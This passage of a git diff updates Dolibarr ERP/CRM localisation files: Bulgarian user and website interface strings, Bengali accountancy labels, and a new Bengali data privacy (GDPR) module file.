опишете подробно проблема. Посочете възможно най-много информация, за да ни позволите да идентифицираме правилно това запитване. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Моля, въведете проследяващ код и имейл адрес TicketTrackId=Код за проследяване OneOfTicketTrackId=Код за проследяване diff --git a/htdocs/langs/bg_BG/users.lang b/htdocs/langs/bg_BG/users.lang index 908b2062568..df1a93675a5 100644 --- a/htdocs/langs/bg_BG/users.lang +++ b/htdocs/langs/bg_BG/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Премахване от групата PasswordChangedAndSentTo=Паролата е сменена и изпратена на %s. PasswordChangeRequest=Заявка за промяна на парола на %s PasswordChangeRequestSent=Заявка за промяна на парола на %s е изпратена на %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Потвърдете възстановяване на парола MenuUsersAndGroups=Потребители и групи @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Създаване на потребител CreateDolibarrThirdParty=Създаване на контрагент -LoginAccountDisableInDolibarr=Профилът е деактивиран в системата. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Използване на лична стойност -InternalUser=Вътрешен потребител ExportDataset_user_1=Потребители и техните реквизити DomainUser=Домейн потребител %s Reactivate=Възстановяване @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/bg_BG/website.lang b/htdocs/langs/bg_BG/website.lang index 63fc67e371d..afb0a474e42 100644 --- a/htdocs/langs/bg_BG/website.lang +++ b/htdocs/langs/bg_BG/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Код +WebsiteName=Name of the website WebsiteSetupDesc=Регистрирайте тук уебсайтовете, които искате да използвате, след това отидете в менюто Уебсайтове, за да ги редактирате. DeleteWebsite=Изтриване на уебсайт ConfirmDeleteWebsite=Сигурни ли сте, че искате да изтриете този уебсайт? Всички страници и съдържание им ще бъдат премахнати. Качените файлове (в директорията /medias/, чрез ECM модула, ...) ще останат. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Добавка в долната част на HTML загл WEBSITE_ROBOT=Съдържание на robots файл (robots.txt) WEBSITE_HTACCESS=Съдържание на .htaccess файл WEBSITE_MANIFEST_JSON=Съдържание на manifest.json файл -WEBSITE_README=Съдържание на readme.md файл WEBSITE_KEYWORDSDesc=Use a comma to separate values -EnterHereLicenseInformation=Въведете тук мета данни или информация за лиценз, за да попълните README.md файла. Ако разпространявате уебсайта си като шаблон, файлът ще бъде включен в пакета на шаблона. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML заглавие (само за тази страница) PageNameAliasHelp=Име или псевдоним на страницата.
      Този псевдоним се използва и за измисляне на SEO URL адрес, когато уебсайтът се управлява от виртуален хост на уеб сървър (като Apacke, Nginx, ...). Използвайте бутона "%s", за да редактирате този псевдоним. EditTheWebSiteForACommonHeader=Забележка: Ако искате да дефинирате персонализирано заглавие за всички страници, редактирайте заглавието на ниво сайт, вместо на ниво страница / контейнер. @@ -42,10 +43,12 @@ ViewPageInNewTab=Преглед на страницата в нов раздел SetAsHomePage=Задаване като начална страница RealURL=Реален URL адрес ViewWebsiteInProduction=Преглед на уебсайт, чрез начални URL адреси +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Използвайте с Apache / Nginx / ...
      Създайте на вашият уеб сървър (Apache, Nginx, ...) специален виртуален хост с PHP поддръжка и основна директория в
      %s ExampleToUseInApacheVirtualHostConfig=Пример за използване при настройка на виртуалния хост в Apache: YouCanAlsoTestWithPHPS=Използване, чрез вграден PHP сървър
      В среда за разработка може да предпочетете да тествате сайта с вградения PHP уеб сървър (изисква се PHP 5.5) като стартирате
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP=Стартирайте уебсайта си на друг Dolibarr хостинг доставчик
      Ако нямате уеб сървър като Apache или NGinx в интернет може да експортирате и импортирате уебсайта си в друга Dolibarr инстанция, предоставена от друг Dolibarr хостинг доставчик, който осигурява пълна интеграция с модула на уебсайта. Може да намерите списък с някои доставчици на Dolibarr хостинг услуги на https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org CheckVirtualHostPerms=Check also that the virtual host user (for example www-data) has %s permissions on files into
      %s ReadPerm=Четене WritePerm=Писане @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=Може да редактирате изходни YouCanEditHtmlSource=
      You can include PHP code into this source using tags <?php ?>. The following global variables are available: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      You can also include content of another Page/Container with the following syntax:
      <?php includeContainer('alias_of_container_to_include'); ?>

      You can make a redirect to another Page/Container with the following syntax (Note: do not output any content before a redirect):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      To add a link to another page, use the syntax:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      To include a link to download a file stored into the documents directory, use the document.php wrapper:
      Example, for a file into documents/ecm (need to be logged), syntax is:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      For a file into documents/medias (open directory for public access), syntax is:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      For a file shared with a share link (open access using the sharing hash key of file), syntax is:
      <a href="/document.php?hashp=publicsharekeyoffile">

      To include an image stored into the documents directory, use the viewimage.php wrapper:
      Example, for an image into documents/medias (open directory for public access), syntax is:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=For an image shared with a share link (open access using the sharing hash key of file), syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . +YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . ClonePage=Клониране на страница / контейнер CloneSite=Клониране на сайт SiteAdded=Уебсайтът е добавен @@ -137,7 +140,7 @@ PagesRegenerated=%s page(s)/container(s) regenerated RegenerateWebsiteContent=Regenerate web site cache files AllowedInFrames=Allowed in Frames DefineListOfAltLanguagesInWebsiteProperties=Define list of all available languages into web site properties. -GenerateSitemaps=Generate website sitemap file +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=If you confirm, you will erase the existing sitemap file... ConfirmSitemapsCreation=Confirm sitemap generation SitemapGenerated=Sitemap file %s generated @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon must be png ErrorFaviconSize=Favicon must be sized 16x16, 32x32 or 64x64 FaviconTooltip=Upload an image which needs to be a png (16x16, 32x32 or 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/bn_BD/accountancy.lang b/htdocs/langs/bn_BD/accountancy.lang index 8bc4b54a090..7158d53896a 100644 --- a/htdocs/langs/bn_BD/accountancy.lang +++ b/htdocs/langs/bn_BD/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +217,7 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=By year NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/bn_BD/datapolicy.lang b/htdocs/langs/bn_BD/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/bn_BD/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
